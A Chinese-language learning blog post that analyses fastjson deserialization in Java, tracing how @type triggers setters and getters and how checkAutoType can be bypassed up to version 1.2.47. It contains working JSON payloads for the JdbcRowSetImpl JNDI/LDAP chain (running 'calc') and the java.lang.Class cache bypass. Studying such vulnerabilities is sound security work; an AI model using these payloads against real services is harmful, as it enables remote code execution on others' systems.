fastJson反序列化
本人最近这段时间才开始学java,如有出错请各位大佬指正
fastJson反序列化其实应该分为两种,一种是通过JSON.parse(payload);时调用了本地类中的setter法从而导致的命令指向。第二种就是fastJson的原生反序列化了,即readObject触发的反序列化,这篇文章我先写一下第一种的
fastJson的基础使用方法与一些特性的介绍
1 | //User.java |
上面的DEMO运行的结果如下1
2
3
4
5
6
7
8有参
getAge
getname
{"@type":"fastjson.User","age":19,"name":"benben"}
getAge
getname
{"age":19,"name":"benben"}
可以发现其不仅输出了json的内容还输出了getAge和getname这也就证明了在我们使用JSON.toJSONString(user, SerializerFeature.WriteClassName);
去将类序列化为json时触发了类的getter方法。
解释一下上面的json字符串当我们使用JSON.toJSONString有在有第二个参数设置为SerializerFeature.WriteClassName时会在前面加一个@type即其标记了这个类的类型。
而直接使用的话就没有标记类的类名
我们在尝试将其字符串反序列化1
2
3
4
5
6
7
8
9
10
11
12public class DEMO {
public static void main(String[] args) throws IOException {
String json = "{\"@type\":\"fastjson.User\",\"age\":3,\"name\":\"benben\"}";
String json2 = "{\"age\":3,\"name\":\"benben\"}";//当我们直接使用JSON.toJSONString(user)来序列化时就是这个结果,少了个类的类型的键值对
System.out.println(JSON.parseObject(json, User.class)+"\n");
System.out.println(JSON.parseObject(json)+"\n");
System.out.println(JSON.parse(json)+"\n");
System.out.println(JSON.parseObject(json2, User.class)+"\n");
System.out.println(JSON.parseObject(json2)+"\n");
System.out.println(JSON.parse(json2)+"\n");
}
}
上面的输出结果如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25无参
setAge
setname
fastjson.User@7a4f0f29
无参
setAge
setname
getAge
getname
{"haha":"aaa","name":"benben","age":3}
无参
setAge
setname
fastjson.User@4ee285c6
无参
setAge
setname
fastjson.User@621be5d1
{"name":"benben","age":3}
{"name":"benben","age":3}
我们可以发现只有通过@Type指定类或者在parseObject第二个参数指定类了才能够输出类。
我们可以发现除了最后两个其他的姿势都可以触发setter。
尝试删除属性
1 | public class User { |
其成功输出了getter和setter,即getter和setter的触发与是否定义了属性无关,下面的调试过程中也会讲到,因为其是直接通过反射来获取所有的method,然后再过滤然出setter,后再反射调用
为什么会触发setter与getter(代码调试)
想要深入了解这个框架漏洞的成因,以及了解之后bypass和原理代码的调试是少不了的。
我们简单调试一下这个输出所有getter和setter的代码
我们在步入parseObject后可以发现其调用了一个parse(),而后使用
我们先步过一些parse()会发现控制台输出了setAge和setName。即其触发了set方法
那么之后触发getter方法的地方应该就是在JSON.toJSON(obj)了。
怎么触发的setter
我们先调试一下parse看看其是怎么触发setter的
步入parse我们可以看到其先使用DefaultJSONPaser来对text即我们传入的json字符进行处理(并不是很重要),这里我就不步入了
步入parse.parse我们可以看到其赋值了应该lexer。
这个lexer其实就是一个包含了text和一些其他用来描述text的属性的类
之后进入一个switch语句,这个switch语句的作用就是匹配第一个字符为什么。
因为第一个是左大括号所有进入LBRACE。我们可以发现其又实例化一个JSONObject,之后再调用parseObject方法。
简单调一下会发现第一个Object返回的是一个HashMap。
我们步入parseObject
之后就是利用死循环来判断{
下一个的字符是为单引号还是双引号(我们的是双引号)1
2
3
4
5
6
7
8if (ch == '"') {
key = lexer.scanSymbol(symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {
throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
}
}
上面的的代码匹配到双引号后会通过scanSymbol来获取下一个"
直接的字符串,即我们的@Type
如果”下一个不是:就抛出异常。
继续往下调会调到一个判断我们得到的key是什么的if语句。我们的if的@Type所有进入上图的if
上面的if继续获取"
之间的字符串,即其会得到@Type的值也就是得到fastjson.User。
然后会通过loadClass来加载类。我们步入
可以发现其先尝试从缓存中获取这个类。获取不到就走到如下代码
匹配开头的[
与L
开头;
结尾的如果匹配到就删除[
和L ;
上面的地方之后还会被bypass利用
接下来就是通过Classloder来加载类,并且把类写入到缓存mapping里了
之后查看下一个是否为右大括号,即是到头了。当然没有结束于是会跳过,
然后走到图上的代码,这里会获取一个serializer器。我们步入看一下
其先尝试再derializers这个Map里查找我们的Type类,如果能找到整个Map就会返回反序列化器。
我们可以看到Map里被写入了很多的特定类对应的反序列化器
但是这是我们自定义的所以当然找不到,所以返回空。
于是就跳到了如下代码使用如下方法来获取反序列化器
我们步入代码
之后会进入一堆if判断,我们都进不去一路步过会走到getName方法
之后就是对我们的类名进行一系列的判断,判断过了就使用forName来加载,当然我们过不了。
最后会进入else来创建反序列化器。
步入函数
我们步入前面都是一大堆判断不用管往下调会构造info
之后又是一堆判断我们继续走会走到如下代码
步入改代码
上图代码将类的所有方法名,属性名赋值给了数组。
之后会走到如上的for循环来变量方法名。就是过滤出setter的类,进行了一些判断如长度,返回值是否为空,方法是否为非静态,开头是否为set,第四个字符是否为大写等
过了就将其加到fieldlist里。
之后还有变量所有filed,所有的getter。
我们来看一下其遍历getter的逻辑
其他的都差不多,但是其有一个很重要的就是其检测了返回的值的类型,要为Map或者AtomicBoolean等。
这三个遍历结束后就返回我们创建的info。
步出之后又是一堆检测像如下的检测了是否只有getter方法
当然过不了。我们继续调会发现也没什么东西了,可以一路调出去。如下
但是如果再继续调试就会发现我们调试的内容再IDEA不显示了。这个是反序列化器的原因。
如果我们想继续调试看后面的内容就需要换应该反序列化器。如果我们能进入如下代码将asmEnable改为false就会获取到另一个反序列化器1
2
3
4
5
6for (FieldInfo fieldInfo : beanInfo.fields) {
if (fieldInfo.getOnly) {
asmEnable = false;
break;
}
}
那么我们就需要使得fieldInfo.getOnly为true,即我们要获得应该getter使其add到fields数组里
我们只需要再User写一个getMap其返回值为map即可。如下
1 | public class User { |
这时候我们在调试就可以正常调试后面的内容了
我们步入deserialze,之后会进入一堆if判断和赋值,不重要我们一路调到如下代码
我们看到其通过了createInstance来创建实例化一个类。我们步入看一下
看上面的代码可以知道其对类进行了实例化,这也是为什么会触发构造方法
之后再往下调我们就可以发现其重写了setValue方法。我们继续步入
可以发现其通过反射来调用setter。
怎么触发的getter
进入toJSON前面都是一些判断和赋值,还有和parse相似的实例化等过程
我们直接跳到触发点
其通过遍历map来触发后invoke来调用
反序列化漏洞
既然每次反序列化一个类时都会触发setter那么我们反序列化一个setter可以触发命令执行等恶意行为的类,不就可以进行命令执行了吗?
目前网上主要有对两种类的命令执行
JdbcRowSetImpl
我这里构建Ldap服务器使用的是JNDInjector.jar。1
2
3
4
5
6
7
8
9
10
11package fastjson;
import com.alibaba.fastjson.*;
import com.sun.rowset.JdbcRowSetImpl;
public class jdbcrowsetlmpl {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1/HHfKyiQrGd/CommonsCollections1/Exec/eyJjbWQiOiJjYWxjIn0=\", \"autoCommit\":false}";
JSON.parse(payload);
}
}
fastJson反序列化的链子还是很短的,是比较好分析的。
我们先来看一下JdbcRowSetImpl的源码
我们可以看到再connect下存在一个lookup,其参数就是this.getdataSource也就是dataSource的值。这个是我们可控的。那么再这里我们就可以使用JNDI注入
再看一下哪里触发了这个connect可以发现再setAutoCommit下触发了这个方法。那么一切都很明确了。
就是通过fastJson->setAutoCommit->connect->var1.lookup(dataSoure)
注意
因为autoCommit的值为boolean值所有再构造的payload中要给其赋值为true或者false
TemplatesImpl
1 | package fastjson; |
执行如上代码就会弹出计算机。
但是这个链的实用价值不高,因为TemplatesImpl内有很多私有类,我们要利用其来加载字节码就避不开,要给这些私有类赋值,而如果想使用parseObject给私有类赋值需要再函数内传入第三个参数Feature.SupportNonPublicField,可几乎没有开放者会这么做所以实战价值不高。
我们接下来,来简单分析一下。
相信熟悉cc链的师傅应该都知道,TemplatesImpl这个了,这个类是CC3中最后加载字节码进行命令执行的类。(具体命令执行的原理我就不展开说了,网上有很多关于cc链的分析)
在TemplatesImpl下可以直接触发命令执行的方法有如上的getOutputProperties()
和getTransletInstance()
这两个类都会触发类的实例化从而命令执行。但
是我们可以发现getTransletInstance()
为私有类,而私有的get我们无法通过fastjson来调用
getOutputProperties()是共有类且其内部调用了newTransformer。那么这里就可以命令执行了。
再给一些必须的属性赋值就可以构造出payload了
<=1.2.47bypass
再FastJson的1.2.25版本后就对其进行了修复。我这里使用的是1.2.47的源码。
我们先尝试拿之前的payload进行运行
会发现抛出了异常
打开报错的位置会发现是checkAutoType抛出的异常。
在往上看就会发现是在加载类是使用了checkAutoType来进行过滤1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
// 重载方法:提供默认的 JSON 解析特性 features 参数,调用另一个 checkAutoType 方法
return checkAutoType(typeName, expectClass, JSON.DEFAULT_PARSER_FEATURE);
}
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// 如果 typeName 为 null,返回 null,表示无法处理的类型
if (typeName == null) {
return null;
}
// 如果 typeName 的长度不符合要求(过长或过短),抛出异常
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
// 将类名中的 '$' 替换为 '.',处理内部类
String className = typeName.replace('$', '.');
Class<?> clazz = null;
// FNV-1a 哈希算法的常量定义,用于计算字符串的哈希值
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
// 计算 className 第一个字符的哈希值 h1
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
// 如果 h1 的值等于 0xaf64164c86024f1aL,表示可能是危险类型,抛出异常
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
// 计算第一个字符与最后一个字符的哈希值,如果匹配危险类型,抛出异常
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
// 计算前三个字符的哈希值 h3
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
// 如果支持 autoType 或 expectClass 不为 null,则继续进行哈希匹配
if (autoTypeSupport || expectClass != null) {
long hash = h3;
// 遍历类名从第 4 个字符开始的字符,继续计算哈希值
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
// 如果计算的哈希值在 acceptHashCodes 中,表示允许加载该类
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz; // 返回加载的类
}
}
// 如果哈希值在 denyHashCodes 中,表示不允许加载该类,抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 如果 clazz 仍然为空,尝试从映射中获取类
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
// 如果从映射中获取失败,尝试通过反序列化器加载类
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
// 如果 clazz 已成功加载,进行期望类型验证
if (clazz != null) {
// 如果 expectClass 不为 null,且加载的类不是 HashMap,且类型不匹配,抛出异常
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz; // 返回成功加载的类
}
// 如果不支持 autoType,再次进行哈希值检查
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
// 如果哈希值匹配 denyHashCodes,抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
// 如果哈希值匹配 acceptHashCodes,尝试加载类
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
// 验证加载的类与期望类型是否匹配,若不匹配抛出异常
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz; // 返回加载的类
}
}
}
// 如果 clazz 仍然为空,尝试加载类
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
// 再次检查 clazz 是否成功加载
if (clazz != null) {
// 如果类带有 JSONType 注解,直接返回
if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
return clazz;
}
// 如果类是 ClassLoader 或 DataSource 的子类,认为是危险类,抛出异常
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
// 如果 expectClass 不为 null,检查类型是否匹配
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz; // 返回加载的类
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
// 检查类的信息,若有构造函数且支持 autoType,抛出异常
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
// 计算 autoType 支持的特性
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
// 如果不支持 autoType,抛出异常
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz; // 返回最终加载的类
}
public void clearDeserializers() {
// 清空当前的反序列化器缓存
this.deserializers.clear();
// 重新初始化反序列化器
this.initDeserializers();
}
因为我们的autoTypeSupport为false且expectClass默认传入为null这就导致了除了从缓存来加载类之外,根本无法进入其他类加载的if语句
那么我们想要加载这个类就只能通过如下代码来从缓存中加载了1
2
3
4
5
6
7
8
9if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
//步入
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}
那么我们想从缓存中加载就要尝试将类写入道mappings中
我们全局查找mappings的用法可以找到不少mappings.put,但大部分都是写死的,只有在TypeUtils.LoadClass的我们才能控制器参数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
我们可以看到只有当cache为true是才会对mappings进行put,而这个LoadClass在该类的内部也被进行了一次调用,且第三个参数为true如下
我们再继续查看调用了TypeUtils.LoadClass的类
往上找我们能在MiscCodec.java下找到这个类的调用当Clazz==Class.class是会调用这个。而strVal就是className。我们看一下这个strVal是怎么赋值的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}
String strVal;
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
其会先判断反序列化的类的属性是否为val,然后再将var的值赋值给objVal,而strVal的值就是(String)objVal
那么问题来了我们要怎么进到这个类里呢?
我们查看这个类实现的接口可以发现MiscCodec其实是一个反序列化器。
我们在之前有的审计中就有分析过。反序列化器的获取
在刚进入获取反序列器的方法内时都会先在derializers内找反序列化器。而我们看上面的代码可以发现当类为Class.class时返回的反序列化器就是MiscCodec
而我们传入的@type
的值为java.lang.Class,而这个类默认就写再缓存里了,所以不会被waf拦截
也就是说当我们传入的jsoncode的@Type的值为java.lang.Class时就会自动调用这个反序列化器。那么我们再将val写成我们的恶意类名,恶意类不就被写入了吗
1 | {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} |
那么既然成功写入了我们的恶意类,那只要再让其反序列化原理的恶意类即可
payload
1 | package fastjson; |
payload如上
参考
https://goodapple.top/archives/832
https://www.bilibili.com/video/BV1bD4y117Qh?spm_id_from=333.788.videopod.sections&vd_source=ab689e9c3d9afbb6b90af5af510d53e3